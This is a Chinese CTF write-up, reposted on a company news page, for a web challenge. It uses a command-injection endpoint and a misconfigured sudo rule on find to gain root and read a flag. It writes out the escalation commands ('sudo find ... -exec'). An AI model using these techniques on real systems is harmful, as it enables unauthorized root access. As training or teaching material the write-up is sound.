尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

SUDO提权

SUDO提权
📅 发布时间:2026/6/20 10:07:21
今天在NSS上刷题,写这道sudo提权时发现一个大佬wp质量很高,跟着思路记录一下,顺便向大佬致敬。

Sudo 提权

向大佬致敬,太厉害了,四个月全勤,估计是写完题顺带写了wp

image-20250922212920305

[HZNUCTF 2023 final]ezgo

解题思路

Please POST 'shit' to /cmd

初始页面提示,post传参shit到/cmd路由

执行 shit=ls

"ls": executable file not found in $PATH
  • 系统默认的 $PATH 环境变量配置异常,无法直接找到 ls 等常用命令;
  • 必须使用绝对路径(如 /bin/ls)才能执行命令。

执行 shit=echo /bin/* 列出 /bin 目录下的所有可执行文件

/bin/bash /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/echo /bin/egrep /bin/false /bin/fgrep /bin/findmnt /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ln /bin/login /bin/ls /bin/lsblk /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mv /bin/nisdomainname /bin/pidof /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/run-parts /bin/sed /bin/sh /bin/sleep /bin/stty /bin/su /bin/sync /bin/tar /bin/tempfile /bin/touch /bin/true /bin/umount /bin/uname /bin/uncompress /bin/vdir /bin/wdctl /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew

通过/bin/bash -c "ls -l"查看根目录(通过bash -c执行复杂命令),发现/flag文件(权限为 400,仅 root 可读)

total 11300
drwxr-xr-x   2 root root     4096 Mar 20  2023 bin
drwxr-xr-x   2 root root     4096 Dec  9  2022 boot
drwxr-xr-x   5 root root      340 Sep 22 11:47 dev
drwxr-xr-x   1 root root     4096 Sep 22 11:47 etc
-r--------   1 root root       45 Sep 22 11:47 flag
drwxr-xr-x   2 root root     4096 Dec  9  2022 home
...
-rwxr-xr-x   1 root root      181 Apr  3  2023 start.sh

读取start.sh脚本,获取系统配置细节:

  • flag 被写入/flag并设置了严格权限
  • 创建了ctf用户
  • 配置了 sudo 规则:允许 ctf 用户免密以 root 身份执行/usr/bin/find
#! /bin/bashecho $FLAG > /flag
chmod 400 /flag
useradd ctf
echo "ctf ALL=(root) NOPASSWD: /usr/bin/find" > /etc/sudoers.d/ctf && chmod 0440 /etc/sudoers.d/ctfsu - ctf -c "/main"

用sudo -l验证权限配置

执行shit=/bin/bash -c "sudo -l",得到关键输出:

(root) NOPASSWD: /usr/bin/find:当前用户可免密码以 root 身份执行 /usr/bin/find 命令。

这是整个提权的核心漏洞点:find 命令可通过 -exec 参数执行其他命令,且继承 sudo 的 root 权限。

Matching Defaults entries for ctf on 7404fc8b50be4421:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser ctf may run the following commands on 7404fc8b50be4421:(root) NOPASSWD: /usr/bin/find

执行 shit=/bin/bash -c "sudo find /flag -exec id \;":

  • sudo find /flag:以 root 身份查找 /flag 文件;
  • -exec id \;:找到文件后执行 id 命令,输出 uid=0(root),确认已获得 root 权限。
uid=0(root) gid=0(root) groups=0(root)

执行sudo find /flag -exec cat flag \;,以 root 权限读取/flag内容

NSSCTF{042deeef-b178-40a7-bc9f-6ab66b11f5a2}

知识点提取

$PATH 环境变量机制:

  • Linux 执行命令时会默认在 $PATH 定义的目录列表中搜索可执行文件,若配置异常(如未包含 /bin、/usr/bin),直接输入命令(如 ls)会提示 “executable file not found”。
  • 绕过方案:使用绝对路径(如 /bin/ls、/bin/bash)直接指定命令位置,不受 $PATH 配置影响。

环境信息收集技巧:

通过 echo /bin/* 等通配符命令可快速列出目标目录下的可执行文件,确认系统中可用的核心工具(如 bash、cat、sudo)

Sudo 权限管理与漏洞点识别

  1. sudo 核心作用:允许普通用户临时以其他用户(默认 root)身份执行命令,权限范围由 /etc/sudoers 或 /etc/sudoers.d/ 下的配置文件定义。

  2. sudo 权限探测命令:sudo -l 可列出当前用户的 sudo 权限范围,无需实际执行高权限命令即可获取权限边界,是渗透测试中权限探测的 “黄金命令”。

  3. 关键漏洞点:sudo 过度授权:

    配置 ctf ALL=(root) NOPASSWD: /usr/bin/find 属于典型的 “过度授权” 漏洞:允许普通用户 ctf 以 root 身份免密执行 find 命令。

Sudo + find 提权原理与实践

  1. find 命令的特殊参数:-exec:find 命令的 -exec 参数支持在找到符合条件的文件后,额外执行指定命令,语法为 find [目标路径/文件] -exec [待执行命令] \;(\; 是参数结束标志)。
  2. 提权核心逻辑:当 find 通过 sudo 以 root 身份运行时,-exec 后续的命令会继承 root 权限,实现 “普通用户→sudo 调用 find→root 权限执行任意命令” 的提权链。
  3. 提权验证与利用流程:
    • 权限验证:通过 sudo find /flag -exec id \; 执行 id 命令,若输出 uid=0(root),则确认提权成功。
    • 目标达成:通过 sudo find /flag -exec cat /flag \; 调用 cat 命令读取 root 权限的 /flag 文件,获取最终目标。

相关新闻

  • 越南文识别技术:将纸质文档和信息快速、准确地转化为可编辑、可检索的数字数据
  • C#编程练习:使用队列存储消息,一次性存10条消息,每隔一段时间打印一条消息控制台打印消息时要有明显停顿感 - 详解
  • 23

最新新闻

  • ARM9微控制器LPC32x0系列:低功耗、高集成度与VFP协处理器的嵌入式设计实践
  • 洛阳市奢侈品手表包包回收价格差距高达15%:实测对比告诉你哪家店报价最实在 - 谊识预商务
  • 14000张高清驾驶员行为数据集:YOLO危险驾驶识别实战基线
  • 濮阳市闲置爱马仕、劳力士变现指南:奢侈品手表包包回收门店实地测评 - 谊识预商贸
  • 大连市奢侈品手表包包回收价格差距高达15%:实测对比告诉你哪家店报价最实在 - 谊识预商贸
  • 曲靖市闲置手表包包奢侈品变现,整理了5家靠谱回收店联系方式 - 谊识预商务

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号